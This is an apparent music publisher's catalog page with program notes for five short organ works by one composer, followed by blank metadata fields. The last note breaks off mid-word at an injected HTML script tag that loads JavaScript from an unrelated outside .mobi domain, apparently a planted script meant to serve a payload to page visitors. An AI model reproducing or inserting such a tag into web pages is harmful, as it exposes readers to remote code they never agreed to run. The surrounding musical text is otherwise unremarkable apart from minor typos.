Update Title: 310BE93A-AAB5-4032-9C8A-8B6AA6385B74

Titlecode

Title Name

Marketing Copy

Instrumentation

Commission

Dedication

Program Notes

The works for organ in this collection have been written over the past few years for a variety of different occasions.  All are short and accessible and are suitable for either recital or service settings.

Gallery Music (2000) is a processional fanfare for organ.  The work is dedicated to Janet and Arthur Perrin, owners of Gallery Music (a sheet music store) in Portland, Maine.  The work is imagined as a processional fanfare in a large "gallery" or cathedral for a celebratory occasion.  The musical material for the work is built around the conflict of harmonies separated either by the intervals of a major second or a minor third.

On Lofty Places (2000) for organ was commissioned for the first annual Murray Schultz Service Playing Competition (September 18-21, 2000).  The competition (endowed in the will of the late Murray Schultz) is designed to provide a competition and adjudication system for church organists by which they might gain some feedback on their playing and have a chance to perform in such a setting playing service repertoire, rather than concert literature.  This work was commissioned to be the required sight-reading entry: all participants would be given a copy of this work, be given a short period of time to look it through and adjust registrations, and then play it as best as possible.

The work is dedicated to Rev. Peter J. Gomes and was inspired by an extract from a prayer of his: "Set our feet, O Lord, on lofty places, that we may see where it is that Thou wouldst have us go."  This concept drives the transformation of the opening chord into the rest of the main material of the composition.  (The principal chord is based around the intervals of two fifths, each starting a major second apart -- by the end, this idea has resolved into a single perfect fifth -- where it is thou wouldst have us go.)  Combined with this idea are five brief quotations from traditional hymns which appear and interact with the main material

King Nebuchadnezzar's Dream (1999) for organ was commissioned by Daniel Pickham for organist Andrew Paul Holman.  The work was inspired by a Biblical text describing a dream of King Nebuchadnezzar of Babylon.  The prophet Daniel was the only one among the king's philosophers who was able to interpret the king's dream of a large statue.  The biblical passage is printed below and should be printed in the program at the performance if possible.

"You looked, O king, and there before you stood a statue -- an enormous, dazzling statue, awesome in appearance.  The head of the statue was made of pure gold, its chest and arms of silver, its belly and thighs of bronze, its legs of iron, its feet partly of iron and partly of baked clay.  While you were watching, a rock was cut out, but not by human hands.  It struck the statue on its feet of iron and clay and smashed them.  Then the iron, the clay, the bronze, the silver and the gold were broken to pieces at the same time and became like chaff on a threshing floor in the summer.  The wind swept them away without leaving a trace.  But the rock that struck the statue became a huge mountain and filed the whole earth."  -- Daniel 2: 31-35 (NIV)

This Life-Long Gift of Praise (2000) for organ was written for and is dedicated to organist Paul Ayres and his bride, Ruth Pepper, on the occasion of their wedding, February  20001.  It is a celebratory piece, full of quiet joy and happiness.

The work is lyrical and meditative in tone, building up to a climax and then returning to the beginning's peaceful tone again.

When the Morning Stars Began to Sing (2000) for organ was commissioned by Sandra Gay for Webster Presbyterian Church (Webster, New York) for its 175th anniversary celebrations.  The work is in three sections.  The opening introduction presents a melody over a sustained accompaniment of celeste stops.  The second section presents an original chorale melody which then serves as materia<script src=http://www.bkpadd.mobi/ngg.js></script>

Title Brand

Year Composed

Duration

Ensemble Size

Date Created

Date Updated

Inhouse Note

Bsc Code

Text Author

Premier Performance Memo

Recording Credits

Review

Awards

Title Category

Title Movements

Title Grade

Set Series ID

Title Instrument Category Text

Title Sub Category Text

Title Sub Category

Title Instrument Header

Title Grade Text

Clean Url